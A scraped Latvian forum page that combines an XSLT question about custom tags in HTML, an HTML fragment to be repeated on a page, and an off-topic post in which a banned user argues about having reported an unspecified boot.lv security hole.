Bet vai ir iespējams to XSLT definēt tā, lai html visi tagi paliek kādi bija.
Respektīvi, lai es varētu rakstīt, kaut kā tā:
<html> <body> <h1>Virsraksts</h1> <manstags> <info1>AAAAA</info1> <info2>BBBBB</info2> </manstags> </body> </html>
Nu, lai es varētu iekš normāla html dokumenta iespraust ar XSL manis definētus tagus.
Tā var?
-
<div class="c1"> <div class="t1">Info</div> <div class="c2"><img class="img1" src="/img/e1.gif" onclick="clk(1,1);"><img class="img2" src="/img/e2.gif" onclick="clk(1,2);"><img class="img3" src="/img/e3.gif" onclick="clk(1,3);"><img class="img4" src="/img/e4.gif" onclick="clk(1,4);"></div> <div class="c3"><img class="img4" src="/img/f1.gif"><img class="img2" src="/img/f2.gif"><img class="img3" src="/img/f3.gif"><img class="img4" src="/img/f4.gif"></div> <div class="c3"> <div class="c4"> </div> </div> </div>
Aptuveni tā, tikai tas ir pamats. Fragments būs vēl smagāks.
Atškirības starp 20 šiem fragmentiem ir dažos tekstos un dažādu eventu parametros.
Šo fragmentu vajag 20 kopijās vienā lapā.
boot.lv drošības caurums
in OFFTOPIC
Posted
Atļaušos arīdzan piebilst, ka drunk_lizard praktiski visus boot.lv forumā ir nosaucis par absolūtiem ideotiem, bet uz tādu neapvainojas, galma āksts paliek galma āksts.
Kas attiecas uz telemundos, tad diemžēl ar šādu pseidonīmu man nav nemazākā sakara.
Nu nevar viens cilvēks pārdzīvot aizvainojumu, kuru radīja boot caurums, bet caurumu ta radījāt jūs paši.
Es tikai laipni jums parādīju, kur ir caurums, bet tā vietā, lai pateiktu paldies - bans.
Bet bans nejau tāpēc, ka tā ir pareizi, bet tāpēc, ka sirdī aizvainojums, niknums, naids.
Starp citu, varu iepriecināt tevi, ir vēl 2 tāda paša līmeņa caurumi. Muļķīgi ir turēt 5 dažādus projektus uz viena domeina subdomeiniem.
P.S. Starpcitu pavedienā, kuru uzsāku par boot caurumu bootā puse lietotāju izteicās pozitīvi, takā paturi savu personīgo viedokli pie sevis.
Neba tu esi visa boot sabiedrība.